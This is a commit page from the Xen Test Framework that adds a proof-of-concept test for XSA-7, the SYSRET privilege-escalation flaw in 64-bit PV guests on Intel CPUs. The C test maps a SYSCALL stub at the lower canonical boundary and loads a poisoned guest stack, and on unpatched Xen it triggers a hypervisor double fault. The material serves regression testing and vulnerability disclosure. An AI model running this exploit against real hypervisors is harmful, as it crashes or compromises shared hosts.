Skip to content

Commit 0cbf4c3

Browse files
committed
XSA-7 PoC
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
1 parent 1f73235 commit 0cbf4c3

3 files changed

Lines changed: 188 additions & 0 deletions

File tree

docs/all-tests.dox

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,8 @@ Coveres XSA-106 and XSA-156.
4444

4545
@section index-xsa XSA Proof-of-Concept tests
4646

47+
@subpage test-xsa-7 - SYSRET: 64-bit PV guest privilege escalation vulnerability.
48+
4749
XSA-44 - See @ref test-xsa-339.
4850

4951
XSA-106 - See @ref test-swint-emulation.

tests/xsa-7/Makefile

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
include $(ROOT)/build/common.mk
2+
3+
NAME := xsa-7
4+
CATEGORY := xsa
5+
TEST-ENVS := pv64
6+
7+
obj-perenv += main.o
8+
9+
include $(ROOT)/build/gen.mk

tests/xsa-7/main.c

Lines changed: 177 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,177 @@
1+
/**
2+
* @file tests/xsa-7/main.c
3+
* @ref test-xsa-7
4+
*
5+
* @page test-xsa-7 XSA-7
6+
*
7+
* Advisory:
8+
* [XSA-7](https://lore.kernel.org/xen-devel/20439.12248.291249.667993@mariner.uk.xensource.com/)
9+
*
10+
* # Background
11+
*
12+
* Intel and AMD CPUs implement the SYSRET instruction differently. Relevant
13+
* to XSA-7 is the order of changing privilege and the canonical check on
14+
* @%rip.
15+
*
16+
* In x86_64 with 4-level paging, 0x0000800000000000 is a non-canonical
17+
* address but a legal state for @%rip, which can occur by executing an
18+
* instruction which ends on the lower canonical boundary. This state should
19+
* yield @#GP[0] for a bad instruction fetch, reporting the non-canonical
20+
* regs->rip.
21+
*
22+
* Exceptions taken in CPL0 push onto the current stack (IST vectors can
23+
* change stack, but @#GP is never typically IST), while exceptions at lower
24+
* privilege perform a normal privilege change including stack switch back to
25+
* CPL0. At the SYSCALL entry and SYSRET exit points, @%rsp is the user
26+
* stack, not the kernel stack.
27+
*
28+
* For the SYSRET instruction, at the time of writing (July 2025) AMD don't
29+
* explicitly identify where the @%rip canonical check is performed, but have
30+
* stated that it is after switching to CPL3. Therefore, AMD CPUs are not
31+
* vulnerable.
32+
*
33+
* The Intel SDM pseudocode for SYSRET does show the @%rip canonical check
34+
* being performed early and while in CPL0, and experimentation confirms that
35+
* Intel CPUs are vulnerable. The recommended fix is to fall back to using
36+
* IRET in this case. IRET takes @#GP[0] for a non-canonical @%rip in CPL0,
37+
* but does so on a kernel stack, so can handle the fault safely.
38+
*
39+
* P.S. Unrelated to XSA-7, but if an attacker can clear MSR_EFER.SCE, the
40+
* resulting @#UD from SYSRET can be used in the same way.
41+
*
42+
*
43+
* # PoC
44+
*
45+
* Crashing a vulnerable Xen is easy. Like @ref test-xsa-260, causing Xen to
46+
* use a non-canonical stack will escalate to @#DF.
47+
*
48+
* However, on a mitigated Xen the resulting @#GP needs handing back to the
49+
* guest. If the guest stack is bad, pushing the exception frame will fail
50+
* and the guest will be crashed, preventing a clean status report.
51+
*
52+
* Instead, use a good @%rsp in the same frame that holds the SYSCALL for the
53+
* attack run. If Xen has SMAP, there will be a clean @#DF (64bit PV guests
54+
* are always CPL3, so use _PAGE_USER mappings).
55+
56+
* If SMAP isn't active, Xen's @#GP handler will run on the provided stack,
57+
* including the top-of-stack block. To force a crash, poison the rest of the
58+
* page with `0xcc`, notably covering the `current` and `__per_cpu_offset`
59+
* top-of-stack fields, causing recursive @#GP faults. Eventually, Xen runs
60+
* off the bottom of the stack, finds an unmapped page, and escalates to a
61+
* clean @#DF, which does notice that it's on the wrong stack.
62+
*
63+
* A mitigated Xen will not run on the provided stack, but will deliver the
64+
* @#GP back to us on it. Almost 4k is plenty of space to handle the fault
65+
* and recover.
66+
*
67+
* @see tests/xsa-7/main.c
68+
*/
69+
#include <xtf.h>
70+
71+
const char test_title[] = "XSA-7 PoC";
72+
73+
void stub(void);
74+
75+
/*
76+
* A page to be mapped at the lower canonical boundary. The attack needs a
77+
* SYSCALL instruction at the end. The rest may be used as a stack by Xen,
78+
* including a top-of-stack block. Poison with 0xcc to to make the pointers
79+
* in the top-of-stack block be non-canonical.
80+
*/
81+
asm (".align 4096;"
82+
".skip 4096 - (.L_page_end - stub), 0xcc;"
83+
84+
"stub: "
85+
" syscall;"
86+
".L_page_end:"
87+
88+
_ASM_EXTABLE_HANDLER(0x0000800000000000, .L_stub_done, ex_gp)
89+
);
90+
91+
bool ex_gp(struct cpu_regs *regs, const struct extable_entry *ex)
92+
{
93+
if ( regs->entry_vector == X86_EXC_GP && regs->error_code == 0 )
94+
{
95+
regs->_rsp = regs->rdx; /* Restore %rsp from the xchg */
96+
regs->ip = ex->fixup;
97+
98+
return true;
99+
}
100+
101+
return false;
102+
}
103+
104+
void test_main(void)
105+
{
106+
static intpte_t l3t[L1_PT_ENTRIES] __page_aligned_bss;
107+
static intpte_t l2t[L2_PT_ENTRIES] __page_aligned_bss;
108+
static intpte_t l1t[L3_PT_ENTRIES] __page_aligned_bss;
109+
110+
intpte_t *l4t = _p(pv_start_info->pt_base);
111+
int rc;
112+
113+
/* Map the page containing stub_fn at the lower canonical boundary. */
114+
l1t[511] = pte_from_virt(stub, PF_SYM(AD, RW, P));
115+
l2t[511] = pte_from_virt(l1t, PF_SYM(AD, RW, P));
116+
l3t[511] = pte_from_virt(l2t, PF_SYM(AD, RW, P));
117+
118+
if ( hypercall_update_va_mapping(
119+
_u(l1t), pte_from_virt(l1t, PF_SYM(AD, P)), 0) )
120+
return xtf_error("Error: Can't remap l1t as R/O\n");
121+
if ( hypercall_update_va_mapping(
122+
_u(l2t), pte_from_virt(l2t, PF_SYM(AD, P)), 0) )
123+
return xtf_error("Error: Can't remap l2t as R/O\n");
124+
if ( hypercall_update_va_mapping(
125+
_u(l3t), pte_from_virt(l3t, PF_SYM(AD, P)), 0) )
126+
return xtf_error("Error: Can't remap l3t as R/O\n");
127+
128+
mmu_update_t mu[] = {
129+
{
130+
.ptr = virt_to_maddr(&l4t[255]),
131+
.val = pte_from_virt(l3t, PF_SYM(AD, RW, P)),
132+
},
133+
};
134+
135+
rc = hypercall_mmu_update(mu, ARRAY_SIZE(mu), NULL, DOMID_SELF);
136+
if ( rc )
137+
return xtf_error("Error: mapping buffer failed: %d\n", rc);
138+
139+
/*
140+
* The attack run uses SYSCALL, so executes one hypercall before getting
141+
* into trouble. Use XENVER_version for speed and to avoid side effects.
142+
*
143+
* Load the bad stack by XCHG-ing %rsp, so ex_gp() can recover the good
144+
* stack. Then jump to stub()'s alias beside the low canonincal boundary.
145+
*/
146+
register unsigned long r11 asm ("r11");
147+
unsigned long tmp;
148+
asm volatile (
149+
" xchg %[stk], %%rsp;"
150+
" jmp *%[stub];"
151+
".L_stub_done:"
152+
: "=a" (tmp), "=D" (tmp), "=S" (tmp), /* Hypercall clobbers */
153+
"=c" (tmp), "=r" (r11), /* SYSCALL clobbers */
154+
[stk] "=&d" (tmp) /* XCHG clobber */
155+
: "a" (__HYPERVISOR_xen_version),
156+
"D" (XENVER_version),
157+
"S" (NULL),
158+
[stub] "r" (_p(0x00007ffffffff000ULL) + (_u(stub) & ~PAGE_MASK)),
159+
"[stk]" (0x00007fffffffff00UL)
160+
);
161+
162+
/*
163+
* If we're still alive, Xen didn't crash, and ex_gp() (registered by the
164+
* non-canonical %rip) did trigger and fix up properly.
165+
*/
166+
xtf_success("Success: Not vulnerble to XSA-7\n");
167+
}
168+
169+
/*
170+
* Local variables:
171+
* mode: C
172+
* c-file-style: "BSD"
173+
* c-basic-offset: 4
174+
* tab-width: 4
175+
* indent-tabs-mode: nil
176+
* End:
177+
*/

0 commit comments

Comments
 (0)